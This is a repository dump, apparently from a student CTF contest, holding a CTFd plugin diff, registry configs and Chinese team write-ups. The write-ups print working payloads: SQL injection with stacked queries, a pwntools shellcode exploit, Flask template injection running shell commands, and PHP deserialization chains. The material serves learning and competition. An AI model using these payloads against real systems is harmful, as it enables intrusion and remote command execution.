load(app): 116 | else: 117 | return json.dumps({'success': False, 'msg': 'Failed when destroy instance, please contact admin!'}) 118 | 119 | - @page_blueprint.route('/container', methods=['PATCH']) 120 | + @app.route('/api/v1/container', methods=['PATCH']) 121 | @authed_only 122 | def renew_container(): 123 | user_id = current_user.get_current_user().id 124 | diff --git a/assets/view.js b/assets/view.js 125 | index 127fc62..eb0a30b 100644 126 | --- a/assets/view.js 127 | +++ b/assets/view.js 128 | @@ -14,7 +14,7 @@ if ($ === undefined) $ = CTFd.lib.$; 129 | 130 | function loadInfo() { 131 | var challenge_id = parseInt($('#challenge-id').val()); 132 | - var url = "/plugins/ctfd-whale/container?challenge_id=" + challenge_id; 133 | + var url = "/api/v1/container?challenge_id=" + challenge_id; 134 | 135 | var params = {}; 136 | 137 | @@ -91,7 +91,7 @@ function loadInfo() { 138 | 139 | CTFd._internal.challenge.destroy = function() { 140 | var challenge_id = parseInt($('#challenge-id').val()); 141 | - var url = "/plugins/ctfd-whale/container?challenge_id=" + challenge_id; 142 | + var url = "/api/v1/container?challenge_id=" + challenge_id; 143 | 144 | $('#whale-button-destroy')[0].innerHTML = "Waiting..."; 145 | $('#whale-button-destroy')[0].disabled = true; 146 | @@ -138,7 +138,7 @@ CTFd._internal.challenge.destroy = function() { 147 | 148 | CTFd._internal.challenge.renew = function() { 149 | var challenge_id = parseInt($('#challenge-id').val()); 150 | - var url = "/plugins/ctfd-whale/container?challenge_id=" + challenge_id; 151 | + var url = "/api/v1/container?challenge_id=" + challenge_id; 152 | 153 | $('#whale-button-renew')[0].innerHTML = "Waiting..."; 154 | $('#whale-button-renew')[0].disabled = true; 155 | @@ -185,7 +185,7 @@ CTFd._internal.challenge.renew = function() { 156 | 157 | CTFd._internal.challenge.boot = function() { 158 | var challenge_id = parseInt($('#challenge-id').val()); 159 | - var url = "/plugins/ctfd-whale/container?challenge_id=" + challenge_id; 160 | + var url = "/api/v1/container?challenge_id=" + challenge_id; 161 | 162 | $('#whale-button-boot')[0].innerHTML = "Waiting..."; 163 | $('#whale-button-boot')[0].disabled = true; 164 | diff --git a/config.json b/config.json 165 | deleted file mode 100644 166 | index 2e7a70f..0000000 167 | --- a/config.json 168 | +++ /dev/null 169 | @@ -1,4 +0,0 @@ 170 | -{ 171 | - "name": "CTFd Whale", 172 | - "route": "/plugins/ctfd-whale/admin/settings" 173 | -} 174 | \ No newline at end of file 175 | diff --git a/control_utils.py b/control_utils.py 176 | index 34c6708..f1548b5 100644 177 | --- a/control_utils.py 178 | +++ b/control_utils.py 179 | @@ -1,11 +1,12 @@ 180 | import time 181 | 182 | -from CTFd.models import Challenges, Users 183 | +from CTFd.models import Users 184 | from .db_utils import DBUtils 185 | from .docker_utils import DockerUtils 186 | from sqlalchemy.sql import and_ 187 | from flask import session 188 | from .redis_utils import RedisUtils 189 | +from .models import DynamicDockerChallenge 190 | 191 | class ControlUtil: 192 | @staticmethod 193 | @@ -39,13 +40,16 @@ class ControlUtil: 194 | user = Users.query.filter_by(id=user_id).first() 195 | 196 | if user.type == "admin": 197 | - Challenges.query.filter( 198 | - Challenges.id == challenge_id 199 | + DynamicDockerChallenge.query.filter( 200 | + DynamicDockerChallenge.id == challenge_id 201 | ).first_or_404() 202 | else: 203 | - Challenges.query.filter( 204 | - Challenges.id == challenge_id, 205 | - and_(Challenges.state != "hidden", Challenges.state != "locked"), 206 | + DynamicDockerChallenge.query.filter( 207 | + DynamicDockerChallenge.id == challenge_id, 208 | + and_( 209 | + DynamicDockerChallenge.state != "hidden", 210 | + DynamicDockerChallenge.state != "locked" 211 | + ), 212 | ).first_or_404() 213 | 214 | @staticmethod 215 | diff --git a/db_utils.py b/db_utils.py 216 | index 9868281..e2591c3 100644 217 | --- a/db_utils.py 218 | +++ b/db_utils.py 219 | @@ -49,21 +49,13 @@ class DBUtils: 220 | def get_current_containers(user_id): 221 | q = db.session.query(WhaleContainer) 222 | q = q.filter(WhaleContainer.user_id == user_id) 223 | - records = q.all() 224 | - if len(records) == 0: 225 | - return None 226 | - 227 | - return records[0] 228 | + return q.first() 229 | 230 | @staticmethod 231 | def get_container_by_port(port): 232 | q = db.session.query(WhaleContainer) 233 | q = q.filter(WhaleContainer.port == port) 234 | - records = q.all() 235 | - if len(records) == 0: 236 | - return None 237 | - 238 | - return records[0] 239 | + return q.first() 240 | 241 | @staticmethod 242 | def remove_current_container(user_id): 243 | diff --git a/frp_utils.py b/frp_utils.py 244 | index 4c55eff..504a87d 100644 245 | --- a/frp_utils.py 246 | +++ b/frp_utils.py 247 | @@ -1,3 +1,4 @@ 248 | +import hashlib 249 | import requests 250 | 251 | from .db_utils import DBUtils 252 | @@ -8,7 +9,7 @@ class FrpUtils: 253 | @staticmethod 254 | def update_frp_redirect(): 255 | configs = DBUtils.get_all_configs() 256 | - domain = configs.get('frp_http_domain_suffix', "") 257 | + domain_suffix = configs.get('frp_http_domain_suffix', "") 258 | 259 | containers = DBUtils.get_all_alive_container() 260 | 261 | @@ -38,17 +39,20 @@ class FrpUtils: 262 | dynamic_docker_challenge = DynamicDockerChallenge.query \ 263 | .filter(DynamicDockerChallenge.id == c.challenge_id) \ 264 | .first_or_404() 265 | - 266 | + domain = hashlib.md5( 267 | + (str(c.user_id) + '-' + c.uuid).encode() 268 | + ).hexdigest() 269 | if dynamic_docker_challenge.redirect_type == 'http': 270 | output += http_template % ( 271 | str(c.user_id) + '-' + c.uuid, str(c.user_id) + '-' + c.uuid, 272 | - dynamic_docker_challenge.redirect_port, c.uuid + domain) 273 | + dynamic_docker_challenge.redirect_port, domain + domain_suffix) 274 | else: 275 | output += direct_template % ( 276 | - str(c.user_id) + '-' + c.uuid, str(c.user_id) + '-' + c.uuid, 277 | + domain, str(c.user_id) + '-' + c.uuid, 278 | dynamic_docker_challenge.redirect_port, c.port, 279 | - str(c.user_id) + '-' + c.uuid, str(c.user_id) + '-' + c.uuid, 280 | - dynamic_docker_challenge.redirect_port, c.port) 281 | + domain, str(c.user_id) + '-' + c.uuid, 282 | + dynamic_docker_challenge.redirect_port, c.port 283 | + ) 284 | 285 | requests.put("http://" + configs.get("frp_api_ip") + ":" + configs.get("frp_api_port") + "/api/config", output, 286 | timeout=5) 287 | diff --git a/templates/containers.html b/templates/containers.html 288 | index f79e423..b7784b5 100644 289 | --- a/templates/containers.html 290 | +++ b/templates/containers.html 291 | @@ -48,9 +48,9 @@ 292 | 293 | {% if container.port == 0 %} 294 | {% if configs.get('frp_http_port', "80") == "80" %} 295 | - {{ "http://" + container.uuid + configs.get('frp_http_domain_suffix', "") }} 296 | + http://{{ (container.user_id|string + '-' + container.uuid) | hash('md5') }}{{ configs.get('frp_http_domain_suffix', "") }} 297 | {% else %} 298 | - {{ "http://" + container.uuid + configs.get('frp_http_domain_suffix', "") + ":" + configs.get('frp_http_port', "80")}} 299 | + http://{{ (container.user_id|string + '-' + container.uuid) | hash('md5') }}{{ configs.get('frp_http_domain_suffix', "") }}:{{ configs.get('frp_http_port', "80") }} 300 | {% endif %} 301 | {% else %} 302 | {{ configs.get('frp_direct_ip_address', "")}}:{{ container.port }} 303 | -------------------------------------------------------------------------------- /resources/platform/registry/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.5' 2 | services: 3 | registry_browser: 4 | image: klausmeyer/docker-registry-browser 5 | networks: 6 | default: 7 | ports: 8 | - 127.0.0.1:9001:8080 9 | environment: 10 | - DOCKER_REGISTRY_URL=http://registry:5000 11 | - ENABLE_DELETE_IMAGES=true 12 | 13 | registry: 14 | image: registry:2 15 | networks: 16 | default: 17 | ports: 18 | - 127.0.0.1:5000:5000 19 | environment: 20 | - REGISTRY_STORAGE_DELETE_ENABLED=true 21 | volumes: 22 | - /root/maintenance/registry:/var/lib/registry 23 | 24 | 25 | networks: 26 | default: 27 | -------------------------------------------------------------------------------- /resources/platform/registry/nginx.conf: -------------------------------------------------------------------------------- 1 | server { 2 | listen 443 ssl; 3 | # allow 略; 4 | deny all; 5 | # https 略 6 | location / { 7 | include /etc/nginx/conf.d/transparent;proxy_pass http://localhost:9001; 8 | } 9 | location /v2 { 10 | include /etc/nginx/conf.d/transparent;proxy_pass http://localhost:5000; 11 | client_max_body_size 10G; 12 | } 13 | } -------------------------------------------------------------------------------- /resources/scoreboard.xlsx: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:d1d4ee9397d2b02ea3e9e84addcd0a9aeeb56232ab70b406e53a041ae50e243c 3 | size 18283 4 | -------------------------------------------------------------------------------- /writeups/CCCC.md: -------------------------------------------------------------------------------- 1 | --- 2 | team: CCCC 3 | members: 4 | - BC (18) 5 | - M@tr1x (18) 6 | - Akashic以太 (19) 7 | --- 8 | 9 | ## Sign IN 10 | ### 1.Starting Point | Author: BC 11 | 没啥好说的,进xdsec网站查看源码就拿到flag了... 12 | 13 | ## WEb 14 | ### id_wife | Author: BC,Akashic以太 15 | 这个题怎么说,好像根据BUUCTF的那个随便注改的吧?之前我也写过那个题的wp. 16 | 但最开始没想到堆叠注入,试了挺多方法写脚本跑一下库名表名,最后得到了库名miniL,没跑出来表名,这个就是用二分法不断的尝试 17 | 18 | ```sql 19 | id=1') or (ascii(substr(database(),1,1)))<150# 20 | ``` 21 | 22 | 后来想起来应该是堆叠注入,得到了俩表user和1145141919810,查看下内容 23 | 24 | ```sql 25 | id=1') or (ascii(substr(database(),1,1)))<150;show columns from `user`; 26 | id=1') or (ascii(substr(database(),1,1)))<150;show columns from `1145141919810`; 27 | ``` 28 | 29 | 然后查看列在1145141919810中看到了content(flag也应该在这里) 30 | 在mysql中支持预编译可以绕过很多种限制,本题中由于可以使用堆叠查询,并且需要使用SELECT关键字并绕过过滤,因此想到利用字符串转换与拼接构造语句最后执行,这时就可以使用预处理语句。 31 | 在sql中我们运用如下语句预编译: 32 | 33 | ```sql 34 | set @sql=CONCAT('sele','ct content from `1145141919810`'); 35 | prepare payload from @sql; 36 | execute payload; 37 | deallocate prepare payload; 38 | ``` 39 | 40 | 做到最后一个hint:strstr()是提示我们大小写的,多试着改几次 41 | ```sql 42 | id=1') or (ascii(substr(database(),4,1)))=105;SET @SQL=CONCAT('sele','ct content From `1145141919810`'); PREPARE PAYLOAD FROM @sql;EXECUTE Payload;Deallocate prePare payload;Show Columns From `1145141919810` ;# 43 | ``` 44 | 然后就可以拿到flag了(发现怎么还有个假的???emmmm) 45 | 46 | ## Pwn 47 | ### hello | Author: M@tr1x 48 | 这个题首先放gdb里看看保护 49 | 50 | ![image-20200517172402454](https://image.hackerjerry.top/mini_l-ctf_wp-19.png) 51 | 52 | 基本没开。 53 | 54 | 放ida里反汇编一下 55 | 56 | ![image-20200517172543052](https://image.hackerjerry.top/mini_l-ctf_wp-20.png) 57 | 58 | ![image-20200517172505865](https://image.hackerjerry.top/mini_l-ctf_wp-21.png) 59 | 60 | 可以看到很明显的栈溢出,s只分配了48字节,但允许读入72字节。 61 | 62 | 能利用的72-48=24字节,所以构造的rop链不能太长,需要利用另一个bd函数中的`jmp rsp`调回到栈上然后执行shellcode。 63 | 64 | ![image-20200517174831881](https://image.hackerjerry.top/mini_l-ctf_wp-22.png) 65 | 66 | > sp/esp/rsp(16bit/32bit/64bit)栈寄存器---指向栈顶 67 | > 68 | > bp/ebp/rbp 栈基址寄存器---指向栈底 69 | > 70 | > ip/eip/rip 程序指令寄存器---指向下一条待执行指令 71 | 72 | 综上,此题是一个ret2shellcode的题。从网上找了一个原理图。 73 | 74 | **程序的栈是从进程地址空间的高地址向低地址增长的**。但是填充是从低地址向高地址方向。 75 | 76 | ![image-20200517194756892](https://image.hackerjerry.top/mini_l-ctf_wp-23.png) 77 | 78 | ![image-20200517180255401](https://image.hackerjerry.top/mini_l-ctf_wp-24.png) 79 | 80 | 就是先将shellcode压入栈,然后填充垃圾字符,然后放置返回地址,然后在栈中压入新的汇编指令。 81 | 82 | 我们构造48字节字符串++8字节bd函数地址。 83 | 84 | ![image-20200517201320081](https://image.hackerjerry.top/mini_l-ctf_wp-25.png) 85 | 86 | ret指令进入bd后弹出bd地址,rsp指向栈内储存的rbp的值 87 | 88 | bd函数将rbp再push入栈中, 此时rsp再加8,指向被新压入的rbp 89 | 90 | bd函数执行rsp上的指令 91 | 92 | 在rsp所指向的位置 覆盖上shellcode,改变rsp的值使其指向getshelI的shellcode井再次进行跳转,完成getshell。 93 | 94 | exp: 95 | 96 | ```python 97 | from pwn import * 98 | # sh = process('./hello') 99 | sh = remote('pwn.challenge.mini.lctf.online', 10008) 100 | context.arch = 'amd64' 101 | context.endian = 'little' 102 | # context.terminal = ['zsh','-c'] 103 | # gdb.attach(sh) 104 | jrsp = 0x4006ca 105 | payload = flat(asm(shellcraft.sh()).ljust(0x30+0x8,'a'),jrsp,asm('sub rsp,64')+asm('jmp rsp')) 106 | 107 | sh.sendlineafter('What\'s your name?',payload) 108 | sh.interactive() 109 | ``` 110 | 111 | 112 | ## Crypto 113 | ### ιIl | Author: BC 114 | ```python 115 | from Crypto.Util.number import * 116 | q=getPrime(1024) 117 | f=getPrime(511) 118 | g=getPrime(511) 119 | while g>pow(q/4,0.5) and g **ARP(Address Resolution Protocol)即地址解析协议,** 用于实现从 IP 地址到 MAC 地址的映射,即询问目标IP对应的MAC地址。局域网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存;由此攻击者就可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个[ARP欺骗](https://baike.baidu.com/item/ARP欺骗)。 243 | 244 | 我们过滤一下arp协议的包发现有两个vm,(tplink发出的广播里114的地址经wq师傅提示得知其实是干扰包),点进去看 245 | 246 | ![image-20200517104701550](https://image.hackerjerry.top/mini_l-ctf_wp-3.png) 247 | 248 | 记住这两个mac对应的ip地址。 249 | 250 | 目前我们还确定不了谁是攻击者,因为我们不知道wireshark在哪里记录的流量,而且我感觉这里的数据包并不合理,不应该只有单向arp。 251 | 252 | 紧接着就是对ssl协议与http协议进行过滤(因为有两种对抗https的中间人攻击,一个是伪造证书,一个是降https为http) 253 | 254 | 发现http协议的包并不多,因此排除第二种攻击,锁定攻击者手法为第一种。 255 | 256 | ![image-20200517110028516](https://image.hackerjerry.top/mini_l-ctf_wp-4.png) 257 | 258 | 随便截取一段,发现ip存在192.168.1.152的数据包非常多,而且发现一个很有趣的现象,所有http包中都存在该地址 259 | 260 | ![image-20200517110341403](https://image.hackerjerry.top/mini_l-ctf_wp-5.png) 261 | 262 | ![image-20200517110353189](https://image.hackerjerry.top/mini_l-ctf_wp-6.png) 263 | 264 | 随便点进去一个 265 | 266 | ![image-20200517110824934](https://image.hackerjerry.top/mini_l-ctf_wp-7.png) 267 | 268 | > Ethernet II: 数据链路层以太网帧头部信息 269 | > 270 | > Internet Protocol Version 4: 互联网层IP包头部信息 271 | 272 | 我们再回到之前的arp包中,仔细看一下info里是什么``192.168.1.1 is at 00:0c:29:3b:d3:41`,这时候就需要计算机网络协议的知识了。 273 | 274 | 什么是arp,其实就是一个问谁有x.x.x.x这个地址告诉y.y.y.y,一个答x.x.x.x在z:z:z:z:z:z。 275 | 276 | 我们现在考滤这样一个场景:x.x.x.x要向y.y.y.y的http服务发起访问,ip地址和端口都是很明确的所以ip头和tcp头构造没有问题,那如何获取Mac地址构造Eth头呢?整个流程是这样:x.x.x.x主机先看y.y.y.y是否是同子网ip,不同子网则查找本地MAC地址表中是否有网关ip对应的MAC地址,有则直接使用没有则对网关ip发起ARP;同子网则查找本地MAC地址表中是否有y.y.y.y对应的MAC地址,有则直接使用没有则对y.y.y.y发起ARP。ARP查看本地MAC地址表中是否有给定的ip对应的mac地址,有则向该MAC地址发送ARP查询包,没有则向ff:ff:ff:ff:ff:ff广播ARP查询包。 277 | 278 | 在本例中则为谁有192.168.1.1告诉192.168.1.152,也就是152在之前应该就发送过arp,而下面tplink发送的广播询问的是谁有192.168.1.114告诉192.168.1.1,可以判断192.168.1.1为网关,而剩下的192.168.1.152则为攻击者。 279 | 280 | ### MITM_1 | Author: M@tr1x,BC 281 | ![image-20200517115549709](https://image.hackerjerry.top/mini_l-ctf_wp-8.png) 282 | 283 | 284 | 285 | 这个common name我其实一开始是不知道啥意思的,傻乎乎的理解成了“通常的名字”,然后好一顿查百科,各种试,都不对。后来在与wq师傅交流,给了我一个Hint:CA,CN,证书,又是证书,那么ssl攻击石锤了,那CN是啥呢? 286 | 287 | 随便点进去一个包含CA的ssl包 288 | 289 | ![image-20200517120111241](https://image.hackerjerry.top/mini_l-ctf_wp-9.png) 290 | 291 | 注意到有几项 292 | 293 | ``` 294 | id-at-commonName=webssl.chinanetcenter.com, 295 | 296 | id-at-organizationalUnitName=IT, 297 | 298 | id-at-organizationName=\347\275\221\345\256\277\347\247\221\346, 299 | 300 | id-at-localityName=\345\216\246\35 301 | ``` 302 | 303 | 第一项就是我们要找的common name 啦, 304 | 305 | > 简称:CN 字段,对于 SSL 证书,一般为网站域名;而对于代码签名证书则为申请单位名称;而对于客户端证书则为证书申请者的姓名; 306 | 307 | 但是!注意,fake issuer也是题目的要求,而不是一个无意义的词哦。 308 | 309 | 下面学习TLS证书格式。 310 | 311 | ![image-20200517122333529](https://image.hackerjerry.top/mini_l-ctf_wp-10.png) 312 | 313 | 其中 `Certificate issuer` 是证书的签发者,issuer 字段的内容是一组符合 X.500 规范的DN(Distinguished Name): 314 | 315 | ```text 316 | Issuer: C=US, ST=Arizona, L=Scottsdale, O=GoDaddy.com, Inc., OU=http://certs.godaddy.com/repository/, CN=Go Daddy Secure Certificate Authority - G2 317 | ``` 318 | 319 | ![image-20200517122510583](https://image.hackerjerry.top/mini_l-ctf_wp-11.png) 320 | 321 | 证书里的 `Subject's Name` 也是一组 DN,它表示证书的拥有者。 322 | 323 | 我们继续筛选,地址包含攻击者,且协议为ssl的包,而且里面包含CA证书 324 | 325 | ![](https://image.hackerjerry.top/mini_l-ctf_wp-12.png) 326 | 327 | ssl包中CA内有一个issuer字段,经过对比发现所有的ssl中都是它,那么提交一下,正确。 328 | 329 | ### MITM_2 | Author: M@tr1x 330 | 331 | ![image-20200517123020637](https://image.hackerjerry.top/mini_l-ctf_wp-13.png) 332 | 333 | 题目中说,没有从受害者ip发送到攻击者ip的包。这很反直觉,按理说中间人攻击必须要有双方的流量才能攻击成功啊,那么是什么原因造成的呢? 334 | 335 | 记得福尔摩斯对华生说:“当你排除一切不可能的情况,剩下的,不管多难以置信,那都是事实。” 336 | 337 | 我们有理由相信,是记录流量的wireshark出了问题。 338 | 339 | 那么是什么问题呢? 340 | 341 | 还是感谢wq学长的提示,wireshark记录ip并没有对比其中的mac地址,这就造成了它记录到的ip并不是真实的ip。 342 | 343 | 在这里,受害者ip被解释成了攻击者ip,其中标号25和26的数据包中 344 | 345 | ![image-20200517125643280](https://image.hackerjerry.top/mini_l-ctf_wp-14.png) 346 | 347 | ![image-20200517125705409](https://image.hackerjerry.top/mini_l-ctf_wp-15.png) 348 | 349 | ![image-20200517125726382](https://image.hackerjerry.top/mini_l-ctf_wp-16.png) 350 | 351 | ![image-20200517125739961](https://image.hackerjerry.top/mini_l-ctf_wp-17.png) 352 | 353 | 一个src ip是192.168.1.151一个dst ip是13.226.113.33,但是mac地址都是d3:41,这说明其实这时记录到的数据包是攻击者伪装ip的数据包,而wireshark并没有对此检验,对比最上面arp协议的包,发现192.168.1.1的mac地址也是d3:41,因此使用ip过滤规则会发现没有受害者向攻击者发送的数据包(如果有的话,就会造成成eth.scr==eth.dst),换一款用mac来标识ip的流量包观察工具就会报错。 354 | 355 | 最后,通过分析工具找到一个ip和域名(与出题人有关所以要留意一点),这个是wireshark服务端所在地址。但貌似mac地址(d3:41)和攻击者的mac也是一样的,大概也被arp欺骗了吧? 356 | 357 | ![image-20200517163738960](https://image.hackerjerry.top/mini_l-ctf_wp-18.png) 358 | 359 | > 解释到最后我感觉貌似第一题flag给错了,192.168.1.151才是攻击者……因为原题答案是wireshark服务端安在了中间人mac地址上,但是不太好意思再问了…但整体思路应该没有问题,协议题其实还是应该先踏踏实实学好计网,然后上手实验才能出真知啊。 360 | 361 | 362 | ## Android 363 | ### TestOnly?| Author: BC 364 | 首先看其中的内容 365 | 直接对其逆向 366 | 367 | ![](https://image.hackerjerry.top/mini_LCTF-2.png) 368 | 369 | 直接将其反编译成java代码,检查代码,并对java代码做审计,能够看见其将一串字符串做了sha1 370 | ```java 371 | try 372 | { 373 | String str = b("B08020D0FACFDAF81DB46890E4040EDBB8613DA5ABF038F8B86BD44525D2E27B26E22ACD06388112D8467FD688C79CC7EA83F27440577350E8168C2560368616"); 374 | localObject = str; 375 | } 376 | ``` 377 | 取得其sha1之后的 378 | 33d40461bb5dc676ac72cfdd51f68bc5f88668c7 379 | 380 | 如下是一串字符串 381 | ![](https://image.hackerjerry.top/mini_LCTF-1.png) 382 | 其会对这个字符串和sha1之后的每一个字符做异或 383 | 384 | ```python 385 | array= 386 | [85,95,5,83,75,96,94,0,17,61,102,87,80,123,4,105,85,83,101,109,55,85,23,48,106,1 387 | ,40,7,97,31] 388 | str1='33d40461bb5dc676ac72cfdd51f68bc5f88668c7' 389 | new_flag='' 390 | for i in range(len(array)): 391 | new_flag+=chr(array[i]^ord(str1[i])) 392 | print(new_flag) 393 | ``` 394 | 395 | 396 | 397 | ## Reverse 398 | ### EasyRe| Author: BC,M@tr1x 399 | 我们直接看代码很迷,挺复杂 400 | 401 | 直接通过od来一个一个查出来 402 | ![re4](https://image.hackerjerry.top/mini_LCTF-5.png) 403 | 404 | ![re5](https://image.hackerjerry.top/mini_LCTF-6.png) 405 | 406 | minil{easyre's_easy} 407 | 408 | ### Virtualization| Author: BC,M@tr1x 409 | 410 | ![vi1](https://image.hackerjerry.top/mini_LCTF-7.png) 411 | 先看下程序大概是干啥,之后我们快速定位到对应的函数 412 | 413 | ![vi2](https://image.hackerjerry.top/mini_LCTF-8.png) 414 | 其中有很多函数不知道其功能,通过使用od调试的时候来猜它是什么运算。 415 | 416 | 之后根据算法,总共有三次循环,每次循环的功能基本一样,针对一个循环做分析 417 | 418 | ![vi3](https://image.hackerjerry.top/mini_LCTF-10.png) 419 | 420 | 将自身的字符串与40624的6字节数组做异或操作,当v7大于6的时候,v7=0,然后再将异或后的字符和406050中的数组作比较,如果正确则通过,不正确,v11=0,错误。 421 | 422 | ```python 423 | arr1=[1,1,2,3,5,8,0xd,0x15,0x22] 424 | arr2='020408' 425 | arr3='02040802040802040802040802040802' 426 | arr4=[0x7d,0x5b,0x5e,0x5d,0x7c,0x7b] 427 | arr5=[0x64,0x74,0x4b,0x63,0x58,0x78,0x44,0x6d,0x59,0x67,0x6f,0x4e,0x59] 428 | arr6=[0x40,0x44,0x5d,0x70,0x54,0x59,0x48,0x70,0x40,0x59,0x77,0x5e,0x4f] 429 | flag='' 430 | for i in range(6): 431 | flag+=chr(arr4[i]^ord(arr2[i])) 432 | j=0 433 | for i in range(13): 434 | j=j%6 435 | flag+=chr(ord(arr2[j])^arr5[i]) 436 | j+=1 437 | j=1 438 | for i in range(13): 439 | j=j%6 440 | flag+=chr(ord(arr2[j])^arr6[i]) 441 | j+=1 442 | print(flag) 443 | ``` 444 | -------------------------------------------------------------------------------- /writeups/README.md: -------------------------------------------------------------------------------- 1 | # Writeup 2 | 3 | ## 提交说明 4 | 5 | 请fork本仓库后在此目录下放置自己队伍的Writeup,命名为:`[队伍名].md` 6 | 内容格式说明: 7 | 在writeup开始处添加以下内容: 8 | ```yml 9 | --- 10 | team: 队伍名 11 | members: 12 | - 队伍成员ID 13 | - 14 | --- 15 | ``` 16 | 每一类题目分别列一个二级标题,每道题目分别列一个三级标题,后跟参与解答这道题的队员ID,如: 17 | 18 | ```md 19 | ## Web 20 | 21 | ### p | Author: ID1, ID2 22 | 23 | [Writeup] 24 | ``` 25 | -------------------------------------------------------------------------------- /writeups/flag_小白预定.md: -------------------------------------------------------------------------------- 1 | --- 2 | team: flag_小白预定 3 | members: 4 | - 勇少 5 | - 见尘 6 | - 望月夏芽 7 | --- 8 | 9 | ## SIGN IN 10 | 11 | ### Starting Point | Author:望月夏芽 12 | 13 | F12,ctrl+U 14 | 15 | ## Web 16 | 17 | ### id_wife | Author:勇少、望月夏芽 18 | 19 | 堆叠注入 20 | 21 | 最开始没想到堆叠,跑去盲注,差点怀疑人生 22 | 测出来堆叠之后就简单了,其他过滤什么我不知道,直接参考新春战疫的一道sqli,Handler一把梭 23 | 24 | ``` 25 | frank');handler `1145141919810` open;handler `1145141919810` read first;handler `1145141919810` read next;# 26 | ``` 27 | 28 | minil{4cc5cda6-30c6-48ff-ab4e-9c2830005191} 29 | 30 | ### Personal_IP_Query | Author:勇少 31 | 32 | flaskSSTI,绕过下划线、单双引号 33 | 34 | 显示Your Ip IS……马上想到XFF头,伪造之后发现输入的XFF头显示出来了,输入 `{{2+2}}` 之后回显的 `4` ,直接实锤 35 | 36 | playload: 37 | ``` 38 | ?x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__ 39 | &x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('cat+/flag').read() 40 | 41 | X-Forwarded-For:{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(174)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}} 42 | ``` 43 | 44 | ### ezbypass | Author:勇少 45 | 46 | 过滤逗号等号的无列名注入,PHP反序列化字符逃逸 47 | 48 | 注入做的非预期: 49 | ``` 50 | logname=1"||1 limit 1 offset 3#&logpass=1 51 | ``` 52 | 得到`alert('Username:Flag_1s_heRe \nPassword:goto /flag327a6c4304a')`,访问。 53 | 54 | ``` 55 | $key = array('php','flag','xdsec'); 56 | $filter = '/'.implode('|',$key).'/i'; 57 | return preg_replace($filter,'hack!!!!',$payload); 58 | ``` 59 | 60 | php 关键字被替换为 hack!!!! 之后,从3个字符变成了5个字符,但是反序列化的时候由于 s:3 的存在,这个值仍然会被当作三个字符来处理,造成逃逸。 61 | ``` 62 | payload=phpphpphpphpphpphpphp";s:3:"V0n";s:14:"has_girlfriend";} 63 | ``` 64 | 65 | minil{7f3ea366-f5ab-463c-b511-af63d6dc7715} 66 | 67 | ### Let’s_Play_Dolls | Author:勇少 68 | 69 | PHP无参数RCE、pop链 70 | 71 | pop链利用: 72 | ``` 73 | $pop = new foo3; 74 | $pop->var = new foo2;//触发__toString(),调用execute() 75 | $pop->var->obj = new foo1;//调用foo1的execute() 76 | ``` 77 | 78 | `if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $this->var))` 限制了参数,意思是我们可以 `a();` `a(a());` 但是不能 `a('1');` 79 | 80 | playload: 81 | ``` 82 | foo1的var属性: 83 | print_r(readfile(end(scandir(current(localeconv()))))); 84 | ``` 85 | 86 | echo serialize($pop)之后,需要绕过 __wakeup() 才行 87 | 88 | minil{af22c569-6114-44c6-8c8c-4b561cf7ac7b} 89 | 90 | 91 | ## Crypto 92 | 93 | ### f**k&base | Author:勇少、见尘 94 | 95 | 题目中已经给出了私钥 **( f , g )** 所以解密非常简单,下面推导一下: 96 | 97 | $$ 98 | \begin{aligned} 99 | e &\equiv rh+m \ &(mod \ q) \\ 100 | &\equiv \frac{rg}{f}+m \ &(mod \ q) 101 | \end{aligned} 102 | $$ 103 | 两边同时乘 $f$: 104 | $$ 105 | \tag{1}ef \equiv rg+mf \ (mod \ q) \\ 106 | $$ 107 | 这时注意到 $g$ 的范围: 108 | $$ 109 | \sqrt{\frac{q}{4}} out.txt 37 | ``` 38 | 39 | 将剪切板的数据导入**out.txt**这个文件,由于我们只要坐标相关的数据,再写脚本筛选一下 40 | 41 | ```python 42 | import binascii 43 | 44 | out = '' 45 | f = open('out.txt','r') 46 | fi = open('res.txt','w') 47 | while 1: 48 | a = f.readline() 49 | if a: 50 | b = a.split(' ')[1].replace('00', '').replace(' ', '') 51 | b = binascii.unhexlify(b) 52 | out += b 53 | else: 54 | break 55 | 56 | fi.write(out) 57 | fi.close() 58 | ``` 59 | 60 | 将得到的**res.txt**删去开头和结尾多余的部分,PIL库画图 61 | 62 | ```python 63 | from PIL import Image 64 | 65 | img = Image.new('RGB', (400, 400), (0, 0, 0)) 66 | f = open('res.txt','r') 67 | while 1: 68 | a = f.readline() 69 | if a: 70 | x, y = a[7:].split(' ') 71 | x = int(x) 72 | y = int(y) 73 | img.putpixel((x, y), (255, 255, 255)) 74 | else: 75 | break 76 | 77 | img.save('flag.png') 78 | ``` 79 | 80 | 得到一个二维码,扫码得到flag:`miniLCTF{mAst3R_0F_v0Lat1l1tY!}` 81 | 82 | ![image-20200512172424027](https://i.loli.net/2020/05/12/2drUiZlpCwg1LQn.png) 83 | 84 | ### MITM_0 | Author:Ga1@xy 85 | 86 | 第一反应就是用ip去试,第二个ip就对了:192.168.1.152 87 | 88 | ### MITM_1 | Author:Ga1@xy 89 | 90 | 翻了一遍流量包里的certificate,一共就五种CA,查了相关的资料,然后连蒙再猜(最开始base64还有点问题),也相当于是试出来了:Liuyukun CA 91 | 92 | ## WEB 93 | 94 | ### Personal_IP_Query | Author:Ga1@xy 95 | 96 | 本题考点为[ssti注入](https://xz.aliyun.com/t/3679#toc-1),而且过滤了双下划线`__`,百度过滤后的注入方法,先构造get请求 97 | 98 | ``` 99 | ?c=__class__&b=__bases__&s=__subclasses__&i=__init__&g=__globals__&bt=__builtins__&d=__import__('os').popen('cat /flag').read() 100 | ``` 101 | 102 | 再伪造ip利用ssti漏洞进行注入 103 | 104 | ``` 105 | X-Forwarded-For: 